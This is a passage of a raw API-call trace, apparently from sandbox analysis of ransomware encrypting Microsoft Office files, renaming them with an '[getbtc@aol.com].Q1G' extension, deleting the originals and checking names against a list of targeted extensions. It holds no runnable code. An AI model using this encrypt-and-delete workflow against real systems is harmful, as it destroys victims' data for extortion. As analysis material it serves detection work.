dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0248.362] GetLastError () returned 0x0 [0248.362] ReadFile (in: hFile=0x398, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x72, lpOverlapped=0x0) returned 1 [0248.363] WriteFile (in: hFile=0x3ac, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x80, lpOverlapped=0x0) returned 1 [0248.364] ReadFile (in: hFile=0x398, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.364] WriteFile (in: hFile=0x3ac, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0248.364] SetEndOfFile (hFile=0x3ac) returned 1 [0248.364] CloseHandle (hObject=0x3ac) returned 1 [0248.364] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.364] SetEndOfFile (hFile=0x398) returned 1 [0248.366] CloseHandle (hObject=0x398) returned 1 [0248.366] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.366] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_f_col.hxk")) returned 1 [0248.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63 [0248.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63 [0248.367] lstrlenW (lpString=".doc") returned 4 [0248.367] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0248.367] lstrlenW (lpString=".docx") returned 5 [0248.367] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0248.367] lstrlenW (lpString=".pdf") returned 4 [0248.367] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0248.367] lstrlenW (lpString=".xls") returned 4 [0248.367] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0248.367] lstrlenW (lpString=".xlsx") returned 5 [0248.367] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0248.367] lstrlenW (lpString=".ppt") returned 4 [0248.367] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0248.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63 [0248.367] lstrlenW (lpString=".zip") returned 4 [0248.367] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0248.367] lstrlenW (lpString=".rar") returned 4 [0248.367] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0248.367] lstrlenW (lpString=".bz2") returned 4 [0248.367] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0248.367] lstrlenW (lpString=".7z") returned 3 [0248.367] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0248.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63 [0248.367] lstrlenW (lpString=".dbf") returned 4 [0248.367] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0248.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63 [0248.367] lstrlenW (lpString=".1cd") returned 4 [0248.367] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0248.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63 [0248.368] lstrlenW (lpString=".jpg") returned 4 [0248.368] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0248.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63 [0248.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63 [0248.368] lstrlenW (lpString=".doc") returned 4 [0248.368] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0248.368] lstrlenW (lpString=".docx") returned 5 [0248.368] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0248.368] lstrlenW (lpString=".pdf") returned 4 [0248.368] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0248.368] lstrlenW (lpString=".xls") returned 4 [0248.368] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0248.368] lstrlenW (lpString=".xlsx") returned 5 [0248.368] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0248.368] lstrlenW (lpString=".ppt") returned 4 [0248.368] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0248.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63 [0248.368] lstrlenW (lpString=".zip") returned 4 [0248.368] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0248.368] lstrlenW (lpString=".rar") returned 4 [0248.368] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0248.368] lstrlenW (lpString=".bz2") returned 4 [0248.368] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0248.368] lstrlenW (lpString=".7z") returned 3 [0248.368] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0248.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63 [0248.368] lstrlenW (lpString=".dbf") returned 4 [0248.368] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0248.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63 [0248.368] lstrlenW (lpString=".1cd") returned 4 [0248.368] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0248.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63 [0248.368] lstrlenW (lpString=".jpg") returned 4 [0248.368] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0248.369] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0248.369] lstrlenW (lpString="EXCEL_K_COL.HXK") returned 15 [0248.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0248.369] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=113) returned 1 [0248.369] CloseHandle (hObject=0x398) returned 1 [0248.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_k_col.hxk")) returned 0x20 [0248.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0248.369] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.369] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0248.370] GetLastError () returned 0x0 [0248.370] ReadFile (in: hFile=0x398, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x71, lpOverlapped=0x0) returned 1 [0248.371] WriteFile (in: hFile=0x3ac, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x80, lpOverlapped=0x0) returned 1 [0248.371] ReadFile (in: hFile=0x398, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.372] WriteFile (in: hFile=0x3ac, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0248.372] SetEndOfFile (hFile=0x3ac) returned 1 [0248.372] CloseHandle (hObject=0x3ac) returned 1 [0248.372] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.372] SetEndOfFile (hFile=0x398) returned 1 [0248.537] CloseHandle (hObject=0x398) returned 1 [0248.538] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.546] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_k_col.hxk")) returned 1 [0248.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63 [0248.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63 [0248.561] lstrlenW (lpString=".doc") returned 4 [0248.561] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0248.561] lstrlenW (lpString=".docx") returned 5 [0248.561] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0248.561] lstrlenW (lpString=".pdf") returned 4 [0248.561] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0248.561] lstrlenW (lpString=".xls") returned 4 [0248.561] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0248.561] lstrlenW (lpString=".xlsx") returned 5 [0248.561] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0248.561] lstrlenW (lpString=".ppt") returned 4 [0248.561] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0248.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63 [0248.561] lstrlenW (lpString=".zip") returned 4 [0248.561] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0248.561] lstrlenW (lpString=".rar") returned 4 [0248.562] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0248.562] lstrlenW (lpString=".bz2") returned 4 [0248.562] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0248.562] lstrlenW (lpString=".7z") returned 3 [0248.562] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0248.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63 [0248.562] lstrlenW (lpString=".dbf") returned 4 [0248.562] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0248.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63 [0248.562] lstrlenW (lpString=".1cd") returned 4 [0248.562] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0248.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63 [0248.562] lstrlenW (lpString=".jpg") returned 4 [0248.562] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0248.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63 [0248.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63 [0248.562] lstrlenW (lpString=".doc") returned 4 [0248.562] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0248.562] lstrlenW (lpString=".docx") returned 5 [0248.562] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0248.562] lstrlenW (lpString=".pdf") returned 4 [0248.562] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0248.562] lstrlenW (lpString=".xls") returned 4 [0248.562] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0248.562] lstrlenW (lpString=".xlsx") returned 5 [0248.562] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0248.562] lstrlenW (lpString=".ppt") returned 4 [0248.562] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0248.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63 [0248.562] lstrlenW (lpString=".zip") returned 4 [0248.562] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0248.562] lstrlenW (lpString=".rar") returned 4 [0248.562] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0248.562] lstrlenW (lpString=".bz2") returned 4 [0248.562] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0248.562] lstrlenW (lpString=".7z") returned 3 [0248.562] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0248.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63 [0248.563] lstrlenW (lpString=".dbf") returned 4 [0248.563] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0248.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63 [0248.563] lstrlenW (lpString=".1cd") returned 4 [0248.563] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0248.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63 [0248.563] lstrlenW (lpString=".jpg") returned 4 [0248.563] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0248.563] lstrcmpiW (lpString1=".GRA", lpString2=".Q1G") returned -1 [0248.563] lstrlenW (lpString="GR8GALRY.GRA") returned 12 [0248.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gr8galry.gra"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0248.594] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=186880) returned 1 [0248.594] CloseHandle (hObject=0x200) returned 1 [0248.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gr8galry.gra")) returned 0x20 [0248.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gr8galry.gra.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gr8galry.gra"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0248.659] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.659] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gr8galry.gra.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0248.669] GetLastError () returned 0x0 [0248.669] ReadFile (in: hFile=0x200, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x2da00, lpOverlapped=0x0) returned 1 [0248.674] WriteFile (in: hFile=0x398, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x2da10, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x2da10, lpOverlapped=0x0) returned 1 [0248.677] ReadFile (in: hFile=0x200, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.677] WriteFile (in: hFile=0x398, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xec, lpOverlapped=0x0) returned 1 [0248.678] SetEndOfFile (hFile=0x398) returned 1 [0248.678] CloseHandle (hObject=0x398) returned 1 [0248.678] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.678] SetEndOfFile (hFile=0x200) returned 1 [0248.682] CloseHandle (hObject=0x200) returned 1 [0248.682] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.683] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gr8galry.gra")) returned 1 [0248.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60 [0248.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60 [0248.683] lstrlenW (lpString=".doc") returned 4 [0248.683] lstrcmpiW (lpString1=".doc", lpString2=".GRA") returned -1 [0248.683] lstrlenW (lpString=".docx") returned 5 [0248.683] lstrcmpiW (lpString1=".docx", lpString2="Y.GRA") returned -1 [0248.683] lstrlenW (lpString=".pdf") returned 4 [0248.683] lstrcmpiW (lpString1=".pdf", lpString2=".GRA") returned 1 [0248.683] lstrlenW (lpString=".xls") returned 4 [0248.683] lstrcmpiW (lpString1=".xls", lpString2=".GRA") returned 1 [0248.683] lstrlenW (lpString=".xlsx") returned 5 [0248.683] lstrcmpiW (lpString1=".xlsx", lpString2="Y.GRA") returned -1 [0248.683] lstrlenW (lpString=".ppt") returned 4 [0248.683] lstrcmpiW (lpString1=".ppt", lpString2=".GRA") returned 1 [0248.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60 [0248.683] lstrlenW (lpString=".zip") returned 4 [0248.683] lstrcmpiW (lpString1=".zip", lpString2=".GRA") returned 1 [0248.684] lstrlenW (lpString=".rar") returned 4 [0248.684] lstrcmpiW (lpString1=".rar", lpString2=".GRA") returned 1 [0248.684] lstrlenW (lpString=".bz2") returned 4 [0248.684] lstrcmpiW (lpString1=".bz2", lpString2=".GRA") returned -1 [0248.684] lstrlenW (lpString=".7z") returned 3 [0248.684] lstrcmpiW (lpString1=".7z", lpString2="GRA") returned -1 [0248.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60 [0248.684] lstrlenW (lpString=".dbf") returned 4 [0248.684] lstrcmpiW (lpString1=".dbf", lpString2=".GRA") returned -1 [0248.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60 [0248.684] lstrlenW (lpString=".1cd") returned 4 [0248.684] lstrcmpiW (lpString1=".1cd", lpString2=".GRA") returned -1 [0248.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60 [0248.684] lstrlenW (lpString=".jpg") returned 4 [0248.684] lstrcmpiW (lpString1=".jpg", lpString2=".GRA") returned 1 [0248.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60 [0248.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60 [0248.684] lstrlenW (lpString=".doc") returned 4 [0248.684] lstrcmpiW (lpString1=".doc", lpString2=".GRA") returned -1 [0248.684] lstrlenW (lpString=".docx") returned 5 [0248.684] lstrcmpiW (lpString1=".docx", lpString2="Y.GRA") returned -1 [0248.684] lstrlenW (lpString=".pdf") returned 4 [0248.684] lstrcmpiW (lpString1=".pdf", lpString2=".GRA") returned 1 [0248.684] lstrlenW (lpString=".xls") returned 4 [0248.684] lstrcmpiW (lpString1=".xls", lpString2=".GRA") returned 1 [0248.684] lstrlenW (lpString=".xlsx") returned 5 [0248.684] lstrcmpiW (lpString1=".xlsx", lpString2="Y.GRA") returned -1 [0248.684] lstrlenW (lpString=".ppt") returned 4 [0248.684] lstrcmpiW (lpString1=".ppt", lpString2=".GRA") returned 1 [0248.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60 [0248.684] lstrlenW (lpString=".zip") returned 4 [0248.684] lstrcmpiW (lpString1=".zip", lpString2=".GRA") returned 1 [0248.684] lstrlenW (lpString=".rar") returned 4 [0248.685] lstrcmpiW (lpString1=".rar", lpString2=".GRA") returned 1 [0248.685] lstrlenW (lpString=".bz2") returned 4 [0248.685] lstrcmpiW (lpString1=".bz2", lpString2=".GRA") returned -1 [0248.685] lstrlenW (lpString=".7z") returned 3 [0248.685] lstrcmpiW (lpString1=".7z", lpString2="GRA") returned -1 [0248.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60 [0248.685] lstrlenW (lpString=".dbf") returned 4 [0248.685] lstrcmpiW (lpString1=".dbf", lpString2=".GRA") returned -1 [0248.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60 [0248.685] lstrlenW (lpString=".1cd") returned 4 [0248.685] lstrcmpiW (lpString1=".1cd", lpString2=".GRA") returned -1 [0248.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60 [0248.685] lstrlenW (lpString=".jpg") returned 4 [0248.685] lstrcmpiW (lpString1=".jpg", lpString2=".GRA") returned 1 [0248.685] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0248.685] lstrlenW (lpString="GRLEX.DLL") returned 9 [0248.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grlex.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0248.686] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=12672) returned 1 [0248.686] CloseHandle (hObject=0x200) returned 1 [0248.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grlex.dll")) returned 0x20 [0248.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grlex.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grlex.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57 [0248.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57 [0248.686] lstrlenW (lpString=".doc") returned 4 [0248.686] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0248.686] lstrlenW (lpString=".docx") returned 5 [0248.686] lstrcmpiW (lpString1=".docx", lpString2="X.DLL") returned -1 [0248.686] lstrlenW (lpString=".pdf") returned 4 [0248.686] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0248.686] lstrlenW (lpString=".xls") returned 4 [0248.686] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0248.686] lstrlenW (lpString=".xlsx") returned 5 [0248.686] lstrcmpiW (lpString1=".xlsx", lpString2="X.DLL") returned -1 [0248.686] lstrlenW (lpString=".ppt") returned 4 [0248.686] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0248.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57 [0248.686] lstrlenW (lpString=".zip") returned 4 [0248.686] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0248.686] lstrlenW (lpString=".rar") returned 4 [0248.687] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0248.687] lstrlenW (lpString=".bz2") returned 4 [0248.687] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0248.687] lstrlenW (lpString=".7z") returned 3 [0248.687] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned 